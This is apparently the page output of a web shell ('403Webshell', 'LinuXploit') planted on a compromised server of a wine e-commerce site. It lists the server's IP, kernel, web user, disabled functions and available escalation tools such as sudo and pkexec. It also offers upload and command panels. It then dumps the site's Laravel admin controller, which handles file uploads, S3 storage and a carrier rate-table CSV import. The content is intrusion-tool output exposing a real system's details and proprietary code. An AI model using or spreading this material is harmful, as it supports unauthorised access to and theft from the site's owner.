403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Admin/BasicInfoController.php
<?php

namespace App\Http\Controllers\Admin;

use Illuminate\Http\Request;

use App\Http\Requests;
use App\Http\Controllers\BaseController;
use App\Modules\Transportadora\Models\Transportadora;
use App\Modules\TransportadoraTabela\Models\TransportadoraTabela;
use App\Modules\Estado\Models\Estado;
use App\Modules\Cupom\Models\Cupom;
use App\Modules\Canal\Models\Canal;

class BasicInfoController extends BaseController
{
	public function __construct(){
		parent::__construct();
		$this->middleware('auth');
	}

	public function index(){
		$data['info']            = \App\BasicInfo::find(1);
		$data['transportadoras'] = Transportadora::where('ativo', 1)->orderBy('ordem_cotacao', 'asc')->get();
		$data['cupons']          = Cupom::where("desconto_pixdocted", 1)->where('todos_clientes', 1)->where('primeiro_pedido', 0)->orderBy('codigo', 'asc')->get();
		$data['canais_cashback'] = Canal::where("permitir_cashback", 1)->orderBy('data_inicio', 'DESC')->get();
		return view('admin/basic-info',$data);
	}

	public function save(Request $request){

		$request = $this->uploadFile('image_desktop', 'modal_image_desktop', $request);
		$request = $this->uploadFile('image_mobile', 'modal_image_mobile', $request);
		$request = $this->uploadFileSaldos('arquivo_vvr', 'arquivo_saldos_vvr', $request);
		$request = $this->uploadFileSaldos('arquivo_vdb', 'arquivo_saldos_vdb', $request);
		$this->execFileTabelaTransportadora('arquivo_tabela_transportadora', $request);

		$contato = \App\BasicInfo::find(1);

		if($contato){
			try{
				if($request->input('valor_cashback') > 0 && $request->input('percentual_cashback') > 0){
					\Session::flash('type', 'danger');
					\Session::flash('message', "Valor e Percentual Cashback: Somente um pode ter valor > 0!");	
				}elseif($request->input('valor_creditos') > 0 && $request->input('percentual_creditos') > 0){
					\Session::flash('type', 'danger');
					\Session::flash('message', "Valor e Percentual Créditos: Somente um pode ter valor > 0!");	
				}else{
					\App\BasicInfo::editar($request->input(), 1);
					\Session::flash('type', 'success');
					\Session::flash('message', "Registro alterado com sucesso!");
				}
			}catch(Exception $e){
				\Session::flash('type', 'danger');
				\Session::flash('message', "Não foi possível alterar o registro!");
			}
		}else{
			\Session::flash('type', 'danger');
			\Session::flash('message', "Não foi possível encontrar o registro fixo do módulo de contato.");
		}
		return redirect('/admin/informacoes-basicas');
	}

	private function uploadFile($fileField, $field, $request){

		if($request->hasFile($fileField)) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file        = $request->file($fileField);
			$tmpFilePath = '/uploads/modal';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file        = $file->move(public_path() . $tmpFilePath, $tmpFileName);

			$s3       = \Storage::disk('s3');
			$filePath = '/images/modal/' . $tmpFileName;
			$s3->put($filePath, file_get_contents(url($tmpFilePath, $tmpFileName)), 'public');
			$url = config('filesystems.disks.s3.url').$filePath;

			@unlink($file);

			// $request->merge([$field => "{$tmpFilePath}/{$tmpFileName}"]); //$url
			$request->merge([$field => $url]); //$url
		}

		return $request;
	}

	private function uploadFileSaldos($fileField, $field, $request){

		$sigla = ($field == 'arquivo_saldos_vvr' ? 'VVR' : 'VDB');

		if($request->hasFile($fileField)) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file        = $request->file($fileField);
			$tmpFilePath = '/uploads/modal'; //folder temp até upload para S3 AWS
			$tmpFileName = "saldos_estoque_{$sigla}_" . date('Ymd') . "." . $file->getClientOriginalExtension();
			$file        = $file->move(public_path() . $tmpFilePath, $tmpFileName);

			$content  = @file_get_contents(public_path() . $tmpFilePath . '/' . $tmpFileName);
            if($content === false){
                return $request;
            }

			$s3       = \Storage::disk('s3');
			$filePath = '/files/' . $tmpFileName;
			$options = ['visibility' => 'public'];
			$s3->put($filePath, $content, $options);

			@unlink($file);

			$request->merge([$field => $tmpFileName]);
		}

		return $request;
	}

	private function execFileTabelaTransportadora($fileField, $request){

		$transportadora_id = $request->input('transportadora_id');
		if(empty($transportadora_id)){
			return false;
		}

		if($request->hasFile($fileField)) {

			//upload an image to the /img/tmp directory and return the filepath.
			$file        = $request->file($fileField);
			$tmpFilePath = '/uploads/modal';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file        = $file->move(public_path() . $tmpFilePath, $tmpFileName);

			$contentFile = public_path() . $tmpFilePath . '/' . $tmpFileName;
			$estados     = [];

			if (($handle = fopen($contentFile, "r")) !== FALSE) {

				//Limpa a tabela
				TransportadoraTabela::where('transportadora_id', $transportadora_id)->delete();

				$row = 0;
			    while (($dados = fgetcsv($handle, 0, ";")) !== FALSE) {

			    	if($transportadora_id == 1){ //CORREIOS

			    		if($row < 3 || $row == 4){
							$row++;
				    		continue;
			    		}elseif($row == 3){
			    			for($e=2;$e<count($dados);$e++){
				    			$Estado = Estado::where('sigla', $dados[$e])->first();
				    			if($Estado){
				    				$estados[$e] = $Estado->id;
				    			}
				    		}
			    		}else{
			    			$peso = str_replace(",", ".", $dados[0]);
				    		if(is_numeric(substr($peso,0,1)) || substr($peso, 0, 2) == 'Kg'){
				    			$peso = substr($peso, 0, 2) == 'Kg' ? 0 : $peso;
				    			$registros = [];
					    		for($i=2;$i<count($dados);$i++){
					    			$valor    = str_replace(",", ".", $dados[$i]);
					    			$registro = [
										'transportadora_id' => $transportadora_id,
										'estado_id'         => $estados[$i],
										'peso'              => $peso,
										'valor'             => $valor
									];

									$registros[] = $registro;
					    		}

					    		TransportadoraTabela::insert($registros);
				    		}
			    		}

			    	}elseif($transportadora_id == 2){ //TAM

			    		if($row == 0){
				    		for($e=1;$e<count($dados);$e++){
				    			$Estado = Estado::where('sigla', $dados[$e])->first();
				    			if($Estado){
				    				$estados[$e] = $Estado->id;
				    			}
				    		}
				    	}elseif($row == 1){
				    		$row++;
				    		continue;
				    	}else{
				    		$peso = str_replace(",", ".", $dados[0]);
				    		if(is_numeric(substr($peso,0,1)) || substr($peso, 0, 2) == 'KG'){
								$peso      = substr($peso, 0, 2) == 'KG' ? 0 : $peso;
								$registros = [];
					    		for($i=1;$i<count($dados);$i++){
					    			$valor    = str_replace(",", ".", $dados[$i]);
					    			$registro = [
										'transportadora_id' => $transportadora_id,
										'estado_id'         => $estados[$i],
										'peso'              => $peso,
										'valor'             => $valor
									];

									$registros[] = $registro;
					    		}

					    		TransportadoraTabela::insert($registros);

				    		}
				    	}
				    	
			    	}

			    	$row++;
			    }
			}

			@unlink($file);

		}else{
			return false;
		}

		return true;

	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit